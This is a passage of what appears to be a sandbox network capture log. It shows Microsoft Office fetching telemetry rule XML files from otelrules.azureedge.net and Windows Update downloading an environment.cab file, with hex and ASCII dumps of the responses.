2024-11-20 00:18:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:37 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:37 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001837Z-1777c6cb754mrj2shC1TEB6k7w0000000900000000006n1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:37 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:38 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:38 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001838Z-1777c6cb754wcxkwhC1TEB3c6w00000008n000000000svv4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:38 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:38 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:38 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:38 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001838Z-r1d97b99577mrt4rhC1TEBftkc00000007zg00000000a3v3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 00:18:38 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:38 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:38 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001838Z-r1d97b9957789g82hC1TEBstx00000000820000000009apr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:38 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:38 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:38 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001838Z-185f5d8b95cgrrn8hC1NYCgwh4000000098g00000000kuad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:38 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:38 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:38 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ff95cf15-b01e-0001-328c-3a46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001838Z-185f5d8b95ckwnflhC1NYCx9qs00000009h000000000czus x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:38 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49809	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:38 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=sRYCpvG6wEXzcSk&MD=BEDwWVfM HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 00:18:38 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 7d2efae3-1917-46e2-9188-7a245140db69 MS-RequestId: 8ee59c4f-937d-4fe0-b7be-5d6378546e80 MS-CV: AIPXlWihcUurzXrg.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 00:18:37 GMT Connection: close Content-Length: 24490
2024-11-20 00:18:38 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 00:18:38 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:39 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001839Z-185f5d8b95c9mqtvhC1NYCghtc00000009f000000000muhx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:39 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:39 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001839Z-r1d97b99577dd2gchC1TEBz5ys00000007y0000000008bhe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:39 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:39 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001839Z-185f5d8b95cqnkdjhC1NYCm8w800000009d000000000301u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:39 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001839Z-1777c6cb7549x5qchC1TEBggbg00000009000000000005e6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
